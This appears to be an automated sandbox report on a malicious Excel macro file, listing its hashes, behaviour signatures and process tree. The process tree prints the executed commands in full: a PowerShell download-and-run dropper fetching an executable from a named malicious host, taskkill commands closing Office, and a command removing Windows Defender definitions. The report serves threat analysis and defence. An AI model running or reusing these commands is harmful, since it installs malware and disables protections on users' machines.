601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921

General

Target

601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm
Size

28KB
MD5

b8f3bd05ba309b145a93bf03c3f97106
SHA1

c79a2d7427dbd7a05e1faf4e894dccfbf98304eb
SHA256

601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921
SHA512

aa6634f3699eb2d1ef2ff48cefb7864bf4466f28c5fedf6ad43d40d83e5b509ad5f378d06145f2bcbb01a92a95dda7aea980db9af0cfe1cc5bcd90f2e9325d6f
SSDEEP

768:+qDDovTEQ1MCf2W962F/XrNoa7PD3n4+KVj:+iCrMCo2F/PD34FVj

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://lokipanelhostingpanel.gq/work/worknew/16.exe

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exepowershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4396	1692	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4252	1692	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3848	1692	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1232	1692	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

4616 taskkill.exe
4732 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1692 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4396 powershell.exe
3848 powershell.exe
3848 powershell.exe
4396 powershell.exe

pid	process
4616	taskkill.exe
4732	taskkill.exe

pid	process
1692	EXCEL.EXE

pid	process
4396	powershell.exe
3848	powershell.exe
3848	powershell.exe
4396	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	4396	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	4616	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

EXCEL.EXE

pid process

1692 EXCEL.EXE
1692 EXCEL.EXE
1692 EXCEL.EXE
1692 EXCEL.EXE
1692 EXCEL.EXE
1692 EXCEL.EXE
1692 EXCEL.EXE
1692 EXCEL.EXE

pid	process
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE
1692	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exe

description	pid	process	target process
PID 1692 wrote to memory of 4396	1692	EXCEL.EXE	powershell.exe
PID 1692 wrote to memory of 4396	1692	EXCEL.EXE	powershell.exe
PID 1692 wrote to memory of 4252	1692	EXCEL.EXE	cmd.exe
PID 1692 wrote to memory of 4252	1692	EXCEL.EXE	cmd.exe
PID 1692 wrote to memory of 3848	1692	EXCEL.EXE	powershell.exe
PID 1692 wrote to memory of 3848	1692	EXCEL.EXE	powershell.exe
PID 1692 wrote to memory of 1232	1692	EXCEL.EXE	cmd.exe
PID 1692 wrote to memory of 1232	1692	EXCEL.EXE	cmd.exe
PID 4252 wrote to memory of 4616	4252	cmd.exe	taskkill.exe
PID 4252 wrote to memory of 4616	4252	cmd.exe	taskkill.exe
PID 3848 wrote to memory of 4732	3848	powershell.exe	taskkill.exe
PID 3848 wrote to memory of 4732	3848	powershell.exe	taskkill.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\601f561ef81acc5fcf13c24321cf8ff55f77bd99d28881daa6c2cdc0eb91e921.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://lokipanelhostingpanel.gq/work/worknew/16.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4396

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4252

C:\Windows\system32\taskkill.exe
taskkill /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3848

C:\Windows\system32\taskkill.exe
"C:\Windows\system32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4732

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
2⤵
- Process spawned unexpected child process
PID:1232

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
b2c481dd754bf831d6ca2a792048919c

SHA1
e3e306f2b3f52a413ab0cd1362700db13726d500

SHA256
6ce76f0f173b36f842ab6bffb79f6812d80aac6027d81a6ffaa11fc2439782ee

SHA512
cc7e1f08739a2a6f1e31de5a62985603a38984f7b95d51403167f0e95da8402df5e47be334b9db1536e12e36d2e6795ceef72ba8db5b637340ec806462cd3cd9

Download Submit
memory/1232-142-0x0000000000000000-mapping.dmp

Download
memory/1692-137-0x00007FFC09650000-0x00007FFC09660000-memory.dmp

Filesize
64KB

Download
memory/1692-132-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp

Filesize
64KB

Download
memory/1692-138-0x00007FFC09650000-0x00007FFC09660000-memory.dmp

Filesize
64KB

Download
memory/1692-136-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp

Filesize
64KB

Download
memory/1692-135-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp

Filesize
64KB

Download
memory/1692-134-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp

Filesize
64KB

Download
memory/1692-133-0x00007FFC0BFB0000-0x00007FFC0BFC0000-memory.dmp

Filesize
64KB

Download
memory/3848-147-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp

Filesize
10.8MB

Download
memory/3848-151-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp

Filesize
10.8MB

Download
memory/3848-141-0x0000000000000000-mapping.dmp

Download
memory/4252-140-0x0000000000000000-mapping.dmp

Download
memory/4396-143-0x000001DA67F90000-0x000001DA67FB2000-memory.dmp

Filesize
136KB

Download
memory/4396-144-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp

Filesize
10.8MB

Download
memory/4396-150-0x00007FFC22A20000-0x00007FFC234E1000-memory.dmp

Filesize
10.8MB

Download
memory/4396-139-0x0000000000000000-mapping.dmp

Download
memory/4616-145-0x0000000000000000-mapping.dmp

Download
memory/4732-146-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads